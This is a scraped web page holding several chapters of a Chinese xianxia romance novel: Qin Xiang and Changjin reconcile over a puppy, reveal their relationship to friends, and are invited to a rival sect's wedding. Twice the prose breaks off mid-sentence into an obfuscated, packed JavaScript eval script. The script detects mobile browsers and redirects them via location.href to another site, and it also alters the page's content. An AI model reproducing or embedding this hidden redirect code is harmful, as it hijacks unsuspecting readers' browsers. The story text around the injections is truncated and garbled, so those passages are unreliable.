两句话几乎同一时间说出口,两人皆是一怔,然后气氛又陷入了一时的沉默之中。两人各怀心事地站着,看着对方,秦湘有些心慌,也有些想打退堂鼓,但想着沈清桐的话,也想到了她此行的目的,到底还是在心中暗暗给自己鼓了个气,然后开口道:“我来找神君有点事,神君如果你有事要出去的话,我晚点来也是可以的。” 气氛得到打破,长锦一怔,也急忙接道:“我没什么事,我本来也是想去找你,只是没想到你先过来了,进来吧。”他说完,侧身站了站,秦湘顿了顿,也抬脚走了进去。 两人尴尬地并肩走着,秦湘一路都在给自己做心理建设,脑中天人交战,一个小人说着快开口,把话说出来,另一个小人说着,我不敢,我怂。每次都是在话即将脱口而出之时,却又一个急刹,硬生生地给吞了回去,趁着长锦不注意,她僵硬地扭过头去,恨不得给自己一巴掌。 “汪汪。”一声清脆可爱的从房间内传来,打破了两人这别扭的局面。秦湘一愣,所有的思绪在这时被抛诸了脑后,她咦了一声,一边说着“怎么会有小狗的声音?”一边朝着声源处走去。 秦湘刚推开房门,一个毛茸茸的团子便从里面一阵风似的冲了出来,跑到了她的脚边,一边欢快地摇着那小尾巴,一边围着她欢快地转着圈,期间还不断地发出“汪汪”的可爱嗓音。 她低头一看,这才看清,那是一只黑黄相间的田园小奶狗,圆滚圆滚的,毛茸茸的跟个会动的小绒球一般。此时此刻,它正抬着一双水汪汪的大眼睛瞅着秦湘。秦湘与它四目相对的那一瞬间,所有的防线瞬间崩塌,这也太可爱了吧,她忍不了了。 “好可爱,”秦湘说着,便蹲了下去。那小狗儿也特别机灵,她才刚伸出手,它便特别主动地将自己的小脑瓜子往她掌心凑,秦湘的血槽再次被清空,蹲在那就是一顿揉,爱不释手。 64.冰消雪释 长锦见秦湘卸下了僵硬与尴尬的外壳,展露出了她本该有的活泼与轻松。他顿了顿,暗暗地松了一口气,站在一旁看着一人一狗蹲在门口玩了一会儿,紧绷着的心情也不自觉地松懈了下来。 他悄悄地往秦湘身旁挪了一步,又挪了一步,直到完全站在了她身边,才觉得满意。看着秦湘满眼都是喜不胜收的笑意,他愣了愣,轻咳一声,开口道:“你喜欢它吗?” “喜欢!特别喜欢!”秦湘答得毫不犹豫,双手抱着那小狗,抬起脸来,朝着长锦露出了个大大的微笑,“神君你是从哪里将它抱回来的?” “和周楚闵下山做委派时委派人家中的,他们不想养那么多只,”长锦温声道,“你之前不是说你想养小白吗?虽然这不是小白,不过都是小狗,我猜想你会喜欢,就带回来了。” 闻言,秦湘微微一怔,她看着长锦眼中的光晕流转,里面盛着的都是温柔。她不禁回忆起了当初她说她想养小白的场景,那只是她当时随口一说的话,而且都过去这么久了,久到她自己都有些忘了,可长锦却记得。不只是小白,他还会观察她爱吃什么,就算是她没有说过的话,他看见了,也会记在心上。如今他们这个局面,他应该也很苦恼吧,应该也与她一样,想尽快让两人之间的关系变正常吧。 秦湘在心中暗道,不能再犹豫了,必须把这个僵局打破。 于是踌躇着,她抱着那小狗起身,然后看向长锦,正色道:“神君,方才我说我有事情想和神君说,是真的有事情想和神君说,如果神君现在有空的话,我们就聊聊吧。” “嗯,”长锦点点头,说起这个,他能猜到秦湘要与他说些什么,“我有空,你说吧。” 看着长锦的眼睛,秦湘顿了顿,深吸了一口气,到底还是下定决心说了出来:“神君,我想和你说的事就是我们最近这些天的关系和相处的气氛。” 听她这么认真地说了,长锦也叹了口气,直接道:“明明关系更近了,可是气氛却总是莫名的拘谨。” “是,”箭已开弓,就没有回头的道理,见长锦主动地将问题说了出来,秦湘心中的慌张也去了一大半,她定了定心,又继续道,“我想说的就是这个,其实我可能大概知道我们之间为什么会这样的原因,我想过改,但是我做不到,可能是太在意神君了,尤其是现在与神君的关系转变,我就变得更在意了,在意神君的看法,生怕自己不好的地方展露在神君面前,然后神君会不喜欢我,会觉得我不好……” 秦湘还未说完,长锦便打断了她,连忙道,“怎么会?我喜欢你就是喜欢你的全部,喜欢你这个人,你的好与不好在我眼里都是好的。”他说着,也低下了头,坦白道,“其实我也与你一样,如果真的算起来,我是三千年前的人了,与这个人间算是格格不入,我又嘴笨,又不怎么会与人相处打交道,很多很多的东西还需要你来教我,讲给我听,所以我才会在意,我不如乔玉洲他们有趣,我怕你……” “不会,”秦湘也焦急打断他道,“在我眼里,神君是一个超厉害的人,我从小就喜欢你,而且神君你学东西超级快的,你一点都不用担心你不好,在我眼里,你也是最好的,不管你怎样,我都喜欢你。” 两人说完这番话,皆是一愣,看着对方,脸上也不自觉地爬上了红晕。沉默了半晌,秦湘轻咳一声,别过脸去,看着远处的晚霞,顺了顺怀中小狗的背脊,状若随意地道:“所以,神君,说开了,咱们也说好了,以后不能再这样了,有什么问题一定要及时沟通,及时解决才行。我们要把最真实的自己展露在对方面前,尽管真实的自己可能会有些傻,有些蠢……但是我就喜欢那样真实的你。” “嗯,好,”长锦也站在她身边,跟她一起看着远处的落日余晖,“以后不会了。” “嗯,那就最好了。”秦湘也道,说完,两人又沉默了片刻。看着怀中的小狗,秦湘忽然福至心灵,问道,“对了,神君,它叫什么名字呀?” “还没有名字,”长锦也伸手摸了摸她怀中小家伙毛茸茸的脑袋,顿了顿,抬头朝她笑了笑,“秦湘,要不你给它取一个吧?” “那我得好好想一下,”秦湘认认真真地思考了一会儿,沉吟片刻,眼眸突然一亮,她看向长锦,欣喜道,“要不就叫它六顿吧?” “六顿?”长锦想了一想,不解地问道,“为何叫这个名字?” “因为想要它多吃点呀,不挑食,”秦湘双手抓住它的前爪,将它提抱在半空中,展示在长锦面前,“神君你看它,这么小小一只,要多吃点,才能长大,所以就叫它六顿,不好吗?” 看着她投过来的那一眼带着期许求肯定的目光,长锦笑了一笑,毫不犹豫地点头肯定道:“非常好。” “是吧,我也觉得,”秦湘说着,又转回了脸,拿额头抵住小家伙的额头蹭了蹭,“小家伙,你有名字了,你以后就叫六顿,好听吗?” “汪汪。”小六顿欢喜地又叫了两声,朝着秦湘飞快地摇着尾巴。见它如此,秦湘也笑了,“小六顿。” 气氛温馨且美好,长锦站在一旁,弯着眼睛,嘴角也带着淡淡的笑意。 经过这一席话谈,两人之间的问题也算是迎刃而解。虽然第二天两人之间的气氛还没有迅速地恢复成最初的样子,但比起前些天那些尴尬拘谨到想撞墙的模样来说,到底还是好了很多。 傍晚时分,秦湘与周楚闵结束了一天的练剑事宜,朝着演武台下走去,演武台旁边的观看席上,沈清桐见两人走了过来,贴心地递上了水壶与汗巾。 秦湘擦了擦额角的汗,目光一瞥,看见沈清桐方才坐着的位置旁,几个黄澄澄的大脐橙正挤在一起,墩实可爱,清香四溢。 “哪里来的橙子呀?好大个。” 沈清桐笑着将它们捡了起来,给了一个给周楚闵,又将剩下的两个都塞在了秦湘怀中,“师父今早下山去为村民们看诊,村民们给的,阿湘喜欢的话拿去吃。” “清桐姐姐你全给我了你不吃吗?我不要这么多,咱们一人一个就好了。”秦湘笑着,又给还一个塞到沈清桐手里。沈清桐一怔,也笑了笑,“行,那我们一人一个。” 身旁的弟子们陆陆续续地都在往云隆堂的方向赶,三人走了一道,在路过去往西院与云隆堂的岔路口时,秦湘却停在了原地。 周楚闵扭头看了她一眼,奇道:“怎么了?不去吃饭吗?” 秦湘想了想,抬头道:“师兄你和清桐姐姐先去吧,我去西院叫上神君再去。” “那我们先把饭菜打好?在老位置等你们?”沈清桐问道。 “好,可以,那我走啦。”秦湘说着,举起手来挥了挥,便朝着另一边的方向跑远了。 她一路边跑边走,将手中的那个橙子悠悠地抛起,又稳稳地接住。等走到西院时,正准备敲门出声,可手指只是轻轻触碰上,那扇门扉竟然就这样被她一推而开了。 “怎么没关门?”秦湘挠挠头,小声地嘀咕了一声。倒也没在意,抬起头,看着桌案前低着头坐着的长锦,便欢欢喜喜地唤了一声“神君!!” 秦湘原本也只是想喊他一声,却不料这一声倒是将长锦吓得够呛。她愣了一下,看着面前被她吓得一抖,疯狂将手中的东西往衣袖里藏的长锦,她眨眨眼,“神君这是在做什么?” 长锦正襟危坐,神情有片刻的不自然。他抬起脸来,旋即正色道:“没、没干什么。” 秦湘明明就看见了他正在低头弄着一个什么东西,再看他这一副有鬼心虚的样子,一看就不对劲。她走过去在他身边坐下,狐疑地打量着他宽大的衣袖,静默几许,朝他投去幽怨的一眼,“神君,我们昨天才说好了对对方不能有任何隐瞒,可你今天就对我说谎,你这样,让我也太伤心了吧?” “我没有隐瞒你。”长锦摇着头。 “神君你还说没有隐瞒我,你手里拿的是什么?藏在衣袖里面了,我都看见了,你别藏,给我看一看。”秦湘一边说着,一边便趁着长锦不注意,伸手朝着他衣袖而去。 长锦暗道不妙,在秦湘动手之前便已先料到她一步,迅速地将手往后撤去。他这一下也来得毫无征兆,秦湘用力过猛,伸手抓了个空,又徒然失去了长锦那边的阻碍,噗通一声便栽在了长锦身上,这一下摔得挺重,秦湘不由得闷哼了一声。 见她如此,长锦立刻低头,很是关切地问道:“秦湘你没事吧?” “没事。”秦湘晃了晃脑袋,撑着长锦的膝盖便爬起了身,她抬起脸看着与她近在咫尺满脸担忧的长锦,两人对视了一眼。看着长锦像是放下了戒心,她心中暗道好机会,朝着长锦狡黠一笑,又迅速地绕过去朝着他藏在身后的手抓去,岂料长锦还是比她快一步,抬手又将它拿远了。 反反复复地抓了几回,就是抓不到,秦湘的好奇心虽然已经到达了极致,但也恼了。她赌气一般地坐在案牍前,双手环胸,背对着长锦,满脸都写着我不高兴了。 长锦试探性地唤了她一声:“秦湘?”秦湘不答,又动了动,将脸偏到一旁。 “秦湘?”又唤了一声,长锦的声音往左边传来,秦湘便往右边转,长锦的声音往右边传来,秦湘便往左边转,反反复复又几次,到底还是长锦先认输,他将手伸到秦湘面前,温声道,“好啦好啦,你别生气了,我给你看。” 秦湘沉默片刻,见他脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126680|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并无逗她的意思,这才垂眼去看他手中的东西,看见的那一瞬,她怔住了,在长锦的掌心,躺着两条明艳的红绳,其中一条还未完工,长长的红线缠绕在他的指尖,旖旎又缱绻。 秦湘心头一动,她怔怔地开口:“这是?” “本来想做完之后再给你的,”长锦笑了笑,也有些羞赧,“没想到还是被你发现了。” 闻言,秦湘的双眼也微微睁大了,她有些惊讶,“这是神君你做的?!” “嗯,那天我们在翠玉坊的时候正好看见了,那姑娘不是说带上红绳的人会永远在一起……”长锦顿了顿,似乎有些不好意思,又接着道,“所以就想着编两条……虽然没有翠玉坊的那么好看……” “谁说没有翠玉坊的好看,我觉得它就是最好看的,”秦湘连忙道,将他的手掌合起来,抬起眼来笑了笑,“而且这是神君你亲手做的,我已经开始期待它编完之后戴在手上的样子了。” “快了,应该这两天就可以完成了。” “好,那到时候神君你编好了一定要第一时间告诉我。”秦湘一边说着,一边起身,“好了,时辰也不早了,神君你先跟我去云隆堂吃饭吧,再晚些去清桐姐姐和师兄都要等着急了。” 云隆堂中,人来人往,周楚闵与沈清桐刚打完饭菜找了位置坐下,一个抬眼,就看见了门口并肩走了进来的秦湘与长锦。周楚闵站起身来朝着两人招招手,喊道:“阿湘,席清长老,这边这边!!” 秦湘听到声音,抬眼朝那边扫去,看见一站一坐的周楚闵与沈清桐,朝着一旁的长锦道:“神君走吧,我看见师兄和清桐姐姐了,他们在那边。” “好。”长锦点了点头,跟在秦湘身后与她一同走了过去。 秦湘拉开沈清桐对面的木椅坐下,看着桌上丰盛且还没动的饭菜,她一愣,问道:“你们还没开始吃?” 周楚闵笑了笑:“是啊,人好多,也是赶巧,我们才刚坐下,你们就来了。” “是啊,真赶巧,先吃饭吧,”沈清桐笑着,将一旁的四双筷子分与几人,“天凉菜容易冷。” 秦湘接过沈清桐递过来的筷子,也笑了笑,“好,谢谢清桐姐姐。”长锦亦是点头微笑道谢,“多谢沈姑娘。” “不用客气,吃吧吃吧。” 四人低头吃饭,今日云隆堂又做了卤香酱汁鸡腿,这菜近段时间是秦湘的心头好,但是这半个月因为那所谓的面子工程,她都不敢打这个菜。此时再看着那酱香四溢的鸡腿,她的眼前一亮又一亮,却又因为那天的鸡飞狗跳给她留的阴影实在有点大,使得她手中的筷子一时是下也不是,不下也不是。 正当她犹豫之时,只见长锦的筷子就径直往那边伸去。秦湘微微惊奇,神君也爱吃鸡腿?然而还未等她惊奇完,但见长锦手中的筷子在空中生生地调转了个方向,下一秒,一个色泽红亮,软烂入味的鸡腿就这样扑通一声落在了她面前的碗里。 嗯嗯嗯?秦湘愕然抬头,却对上长锦满是温柔笑意的眼:“吃吧。” 秦湘看着面前那个鸡腿,此时也有些犹豫地犯了难,直接拿起来啃吗?虽然说过不用在意这些虚的假的,但是要一时全部不在意也是不可能的,只能慢慢来。长锦见她不动,便问道:“怎么了?” 秦湘盯着那个鸡腿看了一会儿,咽了咽口水,转头道,“我没带手巾,有油。” 闻言,长锦一愣,转而伸手从袖袋中摸出一块手帕来,微笑着递给她,“没事,我带了,放心吃吧。” 见状,秦湘心中的顾虑也慢慢地消了下去,看着面前她垂涎已久的鸡腿,终于还是嘴巴战胜了心理,她忍不了了,果断地拿起来就开啃。 果然,鸡腿还是得大口啃着才香,装斯文真的活受罪。 坐在对面的沈清桐与周楚闵也悄悄地打量着对面两人,沈清桐看着秦湘与长锦的关系已经融洽,一切正朝着好的方向发展,不由得也在心中为她高兴。 而两人这些亲密动作在作为场上唯一还蒙在鼓里不知道事情发展经过的周楚闵眼里看来,不禁就有些摸不着头脑的莫名其妙,他神情复杂地看了一眼又一眼,最终还是没忍住,悄悄和一旁的沈清桐道:“清桐,你有没有觉得,阿湘和席清长老之间有些奇怪?” 闻言,沈清桐轻笑一声,见她神情,周楚闵更加奇怪了,“清桐你笑什么?难道你不觉得吗?” 沈清桐看着他清澈明朗的眼神,又是没忍住,好半晌,才轻咳一声,笑道:“我觉得阿湘和席清长老之间挺正常的呀,你要是觉得有疑问你可以直接问阿湘呀。” 周楚闵闻言怔了一怔,醍醐灌顶,好像也是,为什么他不直接问? 65.林贺之好 于是在秦湘啃完手中的鸡腿后,周楚闵斟酌再三,到底还是问了,“阿湘,我有一件事想问你很久了……” 秦湘擦了擦手,闻言抬头望向他,笑道:“师兄你想问什么?” 周楚闵的目光在秦湘与长锦面上扫过,“就是你和席清长老,你们不觉得你们这段时间有些奇怪吗?一下关系冷得能吓死人,一下关系好得又跟什么似的,变得也太快了……” 闻言,场上的气氛静默几许。周楚闵一脸懵然地眨眨眼左右看了看,“怎么了?” 望着周楚闵眼中的关切,秦湘收回目光,他是她的师兄,从小到大除了秦叙与沈清桐,那是对她最好的人了,所以她也不想瞒他。秦湘转头与长锦对望了一眼,长锦自然明白她的意思,也朝她点了点头。于是秦湘深吸了一口气,看着周楚闵,郑重道:“师兄,我要和你说一件事。” 周楚闵被她郑重的口气整得一怔,也不由得跟着紧张起来,“你说。” 秦湘轻声道:“我们在一起了。” “哦,原来是在一起了,”周楚闵没反应过来,了然地点了点头,却又只一瞬间,又将头蓦地抬了起来,双眼睁大,惊道:“什么?!谁和谁在一起了?!” 一惊一乍之间没控制好音量,周楚闵这脱口而出的一句,让云隆堂中不少弟子都纷纷侧首朝着这边看来。秦湘吓得够呛,连忙道:“师兄你小声点!” 沈清桐也连忙将他拉住,无奈道:“楚闵你不要激动。” 周楚闵左右望了望,看着周围人的目光都看向了他,才回过神来,自己反应过大了,连忙合手点头讪笑道歉,“不好意思,不好意思啊。”等到众人的目光又重新收了回去,他才转回脑袋压低声音不可置信地问秦湘:“阿湘,你真的不是在开玩笑?” 秦湘颇为好笑地看着他,“我骗师兄你做什么?对我有什么好处?” 周楚闵还是觉得难以置信,又看向一旁的长锦,“席清长老,你真和阿湘在一起了?” 长锦看着他满眼求证的目光,顿了顿,也笑着点点头,毫不掩饰地道:“是的,我喜欢秦湘。” 这话说得太过直白毫不掩饰,秦湘被他这真心流露的话砸得也有些头脑发晕,有些不大好意思地红了红耳尖,对面沈清桐则是一脸微笑地看着两人。只有周楚闵,因为事先没有任何的心理准备,所以在突然得知了这个消息后,心情震惊了好半天都没有缓过劲来。 “好啦,师兄,”良久,秦湘打了碗汤推到周楚闵面前,轻声道,“我也不是故意要瞒你的,前段时间我和神君也还没有适应,所以气氛才会那样,不过现在说开了就都好了,让你和清桐姐姐担心了是我不好,来,喝碗汤缓缓吧。” 周楚闵呆滞地接过她递过来的汤,愣愣地喝了一口,抬起眼,看着她脸上的笑意,又喝了一口,半晌,还是接着道:“这是什么时候的事情了?我不会是最后一个知道的吧?” “就你和清桐姐姐成亲那天的事情吧,”秦湘想了一想,摇摇头,“不是,准确来说,师兄你是我第一个说的人,清桐姐姐是自己早就猜到了,不算。” “……好吧,”周楚闵心情复杂,难以用言语形容的复杂,半晌,他又像是想起什么似的,“那掌门可知道这件事?” 秦湘叹了口气:“爹爹还不知道,我还没打算和他说。” “嗯?”周楚闵不解地看向她,“为什么不告诉掌门啊?” “我也不知道该怎么说,”秦湘夹了一口米饭送进嘴里,半晌,似是苦恼地一声叹息,“爹爹和乔伯父前段时日还想撮合我和乔玉洲,然后被我们狠狠拒绝了,如果我现在要去告诉他我和神君在一起了,我怕他心脏受不了。”她说着,又狡黠地笑了笑,“所以,过段时间吧,先给爹爹一个心理准备和适应期。” 听她如此说,周楚闵认真地想了一想,倒也是,他知道这个消息的时候都震惊成这样,更别说掌门了,若是知道腾岳之巅供奉的神明就这样成了他女婿,怕是要骇死吧? 秦湘这边还没有准备好去找秦叙,可谁知,那边秦叙就已经先来找上她了。 待四人吃完饭收拾完碗筷从云隆堂出去后,夜色已经降临了。几人吃得有些撑,便一同走在腾岳之巅的林荫小路上散步消食,还未散完两圈,便有弟子步履匆匆前来告知,说掌门有事与他们说,让他们即刻前往清心殿内。 见那弟子行色匆匆,眉宇间多有着急,几人对望一眼,也不敢耽搁,与他道了谢后便调转方向匆匆地赶往了清心殿。可谁知,一推开清心殿的门,秦叙与明萧长老正喝着茶下着棋,好不惬意,哪有一丝着急的模样。 看见几人面色急促地出现在他们面前,秦叙也是一愣,执着棋子的手在半空中一僵,一脸莫名地问道:“阿湘你们这是做什么?有什么急事吗?” 众人:“……” 一种被戏耍了的感觉无端从心底生出,秦湘走上前,一脸忿忿幽怨:“不是爹爹你说你有急事和我们说吗?看那小师弟的模样,我还以为多急的事情呢,结果你,就和师父在这里喝茶下棋!” 坐在一旁的明萧长老一听,捋着胡须哈哈笑道:“哈哈哈哈,可能是那小弟子看见是掌门亲派的任务,所以才这么迅速,哈哈哈哈,效率不错,效率不错……” “所以爹你也别卖关子了,”周楚闵看着自家老爹,也是无奈道,“你和掌门到底有什么事啊?” “其实也没什么事,”秦叙笑着,从一旁拿了一份请柬递给秦湘,“就是刚刚收到一份请柬,是飞羽门和云雾宗的,可能过两天我们要往云雾宗走一趟,让你们有个准备而已。” “飞羽门和云雾宗?”秦湘从他手中接过那请柬,打开一看,瞬间双目睁大,不可置信,连声音都提大了几分,“林秋月和贺景文?他们俩成亲?!” 秦叙对她这反应颇为奇怪,“怎么了?林秋月和贺景文成亲有什么不对吗?” “……没有,”秦湘怔了一怔,才回过神来,喃喃道,“我只是太震惊了,没想过林秋月竟然会嫁给贺景文……太突然了……” 也不能怪秦湘知道这个消息后反应过大,实在是自从在群英论剑大会上与贺景文交过那一次手之后,她就觉得此人真是缺德的坏,而且与凌川的那一场对战,她也觉得会不会是他故意使暗器才赢得的胜利?凌川是林秋月的随从心腹,如果贺景文真使坏了,这件事她又怎么不会知道? 所以秦湘实在想不明白,为什么林秋月会同意嫁给这么个卑鄙小人?不过想不明白归想不明白,可能也许就是秦湘自己对贺景文有了偏见,如果真要按照她当初的猜想,林秋月与贺景文很有可能就是合作关系,所以这两个门派联姻交好也正常。 想到这儿,她也就镇定下来了,接着问道:“不过,爹爹,我记得我们和飞羽门还有云雾宗的关系也不算好吧?为什么他们联姻要给我们发请帖?” “是啊,”周楚闵也百思不得其解,“我们和他们向来就没什么交往,为什么这请帖会发到我们这儿来?不会是送错了吧?” “你们想什么呢,”秦叙笑道,“白纸黑字写着的,送请帖的信使不至于老眼昏花到这地步。” 秦湘愣了一下,“那他们为什么要给我们发请帖?” “因为他们不止给我们发了请帖,”明萧长老喝了一口茶,悠悠道,“他们给修仙界能叫得出名字的各大小门派都派发了请帖,这架势,看来是要浩浩汤汤大张旗鼓的昭告天下啊。” 沈清桐道:“我记得云雾宗虽为六大门派之一,但素来行事低调,这次怎么会这么大阵仗?” 秦湘闻言笑道,“清桐姐姐此言差矣,云雾宗可不低调,他们之前低调只是他们没有这个实力让他们高调,这几年他们那少主贺景文不是牟足了劲地想要在众人面前证明自己的实力吗?”她说着,又想到了那小人的卑鄙手段,嗤道,“甚至到了为达目的不择手段的地步了,真是无耻至极。” 沈清桐见她越说越气,也是伸手拍了拍她,为她顺了顺毛。 周楚闵在一旁听着,沉吟片刻,点点头道:“阿湘说的确有其事,云雾宗的名号确实是这两年来才在修仙界中出现的次数频率越来越高的。” 其实秦湘与周楚闵说得都没错,早些年来,修仙界只有五大门派,云雾宗是后起之秀。其门派擅长的是暗器的锻造与使用,因为在多年前的一场鏖战中表现出色,故而被众人所知,从此一跃跻身成为了修仙界的第六大门派。不过,后来河清海晏,天下太平,又因为江暮行,每年修仙界的盛典也是以推崇剑法修为为主。 云雾宗又不像千机阁与双灵阁,这两个门派修习的结界符箓之术与药理之术在任何情况之下都是必不可少的,而且千机阁因为奇门遁甲藏书颇多,素来还有百晓生的称谓。相比起来,云雾宗的暗器就变得更加不值一提了,所以,云雾宗的这场热闹并没有持续太久,水花散去,余下的就只是无尽的落寞与沉寂了。 直到这两年来,云雾宗的少主贺景文初出茅庐,在群英论剑大会上展露了些头角,云雾宗这才算是重回了大众的视线之内,且在这平静地湖面上泛起了些许水花。 秦湘想了一想,心中也就清明了些许,她把玩着手中的请柬,笑道:“怪不得他们会这么大张旗鼓呢,和飞羽门联姻,这本来就是一个很大的噱头,再广泛邀请各大小门派前来观礼,不管怎样,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几人一番交涉,最终还是确定了由秦叙和长锦带着秦湘、沈清桐和周楚闵前往云雾宗参加林秋月与贺景文的婚宴,秦叙不情不愿地将门派事宜交代给明萧长老后,又与剩下的几人确定了一下参加婚宴的行程与注意事宜,叨叨絮絮反反复复地说了好一会儿又一会儿,才算是讲完。 这些年来秦叙又当爹又当妈,注意的东西较常人来讲自然就多些,也爱唠叨。于是在将所有该交代的都交代完了之后,还要苦口婆心地再念叨一遍,生怕几人忘记,“婚宴在七日后举行,我们三日后出发,辰时在山门口集合,不要迟到了……” 秦湘笑着应好:“好了好了,我们知道了,爹爹,你都已经讲了三遍了。” “你这就嫌爹爹啰嗦了?”秦叙一脸伤心的表情,“果然是长大了,阿湘都不想听爹爹说话了。” “我没有,我怎么可能不会听爹爹的话呢?”闻言,秦湘急了,连忙去拉他的衣袖,耍无赖地笑着准备以此蒙混过关,“我从小到大除了阿娘不就最听爹爹你的话了吗?” 她不说这话还好,一说起这话,秦叙却忽然想起了什么似的,幽怨地朝她投去一眼。 秦湘没反应过来,与他四目相对,还傻乎乎地问道:“怎么了?” “还怎么了,你也就嘴甜,”秦叙在她额头上敲了一敲,翻旧账道,“上次我让你看看乔玉洲你不也没听你爹爹的?那叫拒绝得一个干脆,好了,你不喜欢乔玉洲没关系,这次婚宴上各大门派的青年才俊都会去,你也到这个年纪了,多留心留心其他人。” 这话一出,场上众人的表情就各有各的好看,周楚闵与沈清桐对视一眼,又看了看秦湘与长锦,然后差点没绷住,笑出了声来,见所有人的目光都集中在了他身上,周楚闵连忙装模做样地咳嗽一声,“没事,我不小心呛了一下,别看我,当我不存在,你们继续。” “……”秦叙这才收回目光,看秦湘又看向长锦,一副没在听他讲话的样子,不由得又怒道,“阿湘,你看着席清长老做什么?有没有在听爹爹说话?” “在,我在,在听,”秦湘只得收回目光无奈回道,“好了,我知道了,爹爹,你放心,明年我一定争取把自己嫁出去好吧,就不劳您再操心。如果要是没什么事了的话我们就先走了,不打扰你和师父下棋了,爹爹再见,师父再见。” 秦湘说完,也不等秦叙再有什么反应,拉着沈清桐转身就要走,她怕她再呆下去,她爹真要念叨死她。她俩一走,周楚闵与长锦自然也得跟着走,于是朝那边坐着的颇有不甘心的秦叙和吃瓜看戏的明萧长老打了个招呼后也跟着转身离去。 66.青玉随影 三日后,依旧是照常将门内事务安排妥当之后,秦叙便拿着请帖带着大大小小一群人从巴陵出发了。云雾宗建在茳洲,相较去洛阳苍龙山要近的多,几人马车出行,一路晃晃悠悠,悠哉悠哉地行了三日之后,终于到达了云雾宗所在的茳洲地界。 茳洲城外,一辆马车慢慢悠悠地行驶在官道上,赶车的马夫拉了拉缰绳,转头朝着马车里边喊了一声:“客官,茳洲城要到了。” 闻言,一只手掀开了马车的窗帘,秦湘朝着外面看去,茳洲城虽不比洛阳繁华热闹,但胜在风景秀丽小家碧玉也别有一番风味。 此时已是深秋初冬,茳洲城盛产柑橘瓜果,城外的田野山峦之中种满了橙子果树,那黄灿灿的果子挂满枝头,放眼望去,绿叶间点点金黄,犹如满树繁星。 秦湘何时见过这种光景,趴在马车上看得啧啧称奇,哇声不断,“哇,师兄清桐姐姐,爹爹神君你们快看呀,好多橙子树!!好好看!!” 周楚闵也顺着窗口朝着外面看去,看了一阵,也感慨道:“还真是个山清水秀的好地方。” “是吧,我还没见过整片山整片山都是橘子树的呢。”秦湘笑道,忽然一阵寒风迎面袭来,她不由自主地打了个哆嗦。长锦坐在她身旁,看见了,便问:“你冷吗?” 秦湘吸了吸鼻子,摇摇头道,“不冷。”然而话音才刚落,似乎要与她唱反调似的,一股酸意几乎是瞬间泛上了鼻头,她没忍住,偏头打了个喷嚏。 沈清桐关切地看向她:“阿湘你没事吧?别是感染了风寒。” “我……”正要再说话,又是一连好几个喷嚏,她揉了揉鼻子,将没说完的话补上了,“没事。” 沈清桐:“……” 坐在一旁的秦叙看着她单薄的衣衫,又伸出手去握了握她的手掌,不出意外的凉如冰,他的表情几乎是瞬间就下来了,又心疼又生气地唠叨道:“手都冰成这样了你还不冷?还没事?都已经十一月的天了,怎么还穿地这么单薄?我不是差人给你做了新的秋衣送你房间去了吗?没有看见吗?” “看见了,但是前几日不是还不冷嘛,我也没想到这两日就降温了……” 秦叙看了她一眼,“那行李中你可带了厚衣裳?” “……”这个问题问得好,因为前两日不冷,秦湘自然也懒得带这么多,所以,答案肯定是没有带的。见她低着头不再说话,秦叙自然也就明了,他女儿的脾性,他做爹的当然是明儿清的。半晌,也是叹了一口气,“罢了罢了,等到了城中先找个客栈安顿下来,晚些再去成衣店中买吧。” 有台阶就下的道理秦湘还是懂的,见秦叙声音放软,她几乎是瞬间便接口乖巧地应了声“好。” 茳洲城算是一个小众出游胜地,城中客栈众多,平日里狼多肉少,这回赶上云雾宗少主与飞羽门门主联姻大婚,为了招揽生意,各个客栈之间的竞争就更加激烈了。一激烈,各个客栈之间的服务也就大差不差地,基本不需要多挑,一眼望去,瞧着每一家都很不错。 一行人挑了个云雾宗门派附近的地方,方便明日直接前往,不需要再走多路,且云雾宗附近位于茳洲城城中心,地界相对繁华热闹也方便熟悉一下城内。 几人下了马车,刚提着行李走进客栈,转头迎面却遇上了一个人。 “老秦,阿湘,这么巧?!”那人一见走进来的几人,便迎了上去。众人闻声抬头往那方望去,那哈哈大笑朝着几人走过来的,不是双灵阁掌门乔修远还是何人? “乔伯父好。”几个小辈低头行礼问好,乔修远摆了摆手,“好好好。” 秦叙看见来人,愣了一下,旋即才笑道:“哎呀,这不是乔兄嘛,你也住这家店?” “是啊,我们也才刚到,真是缘分呐。”乔修远说着,就走上了前来。秦叙怔了一怔,左右看了一看,“我们?嫂夫人和玉洲也来了?怎么没看见他们呐?” “哦,夫人她在楼上收拾行李呢,玉洲他没同我们一道,说是婚礼前一天会尽量赶到的。”乔修远一边说,一边就揽上了秦叙的肩膀,“听说这家店的酒不错,老秦你下午可有事否?咱们兄弟好久没在一起痛痛快快喝过酒了,等下定要好好喝一杯。” 听到这话,秦湘在心中小声感叹吐槽道,明明半月前才见过才在一起喝过酒……果然,大人眼里没有时间观念。 秦叙倒是有些为难,看了一旁的秦湘一眼,说道:“可能没有空,阿湘没带厚衣裳,下午可能要陪她去城中看看,买些御寒衣物。” “哎呀,小孩子就让小孩子自己去逛嘛,你一个大人陪在身旁她们逛得还不自在,”闻言,乔修远连忙道,说着还转头看了眼秦湘,“是不是阿湘?你要你爹陪你去逛吗?你爹三大五粗的,哪里分得出衣服款式的美丑。” 秦叙见他为了让自己留下陪他喝酒,已经开始不顾他形象地胡言乱语了,顿了顿,不禁摇摇头,辩解道:“倒也没有乔兄你说得如此三大五粗,阿湘平日的衣服也是我找人为她做的,款式美丑我还是分得出来的。” 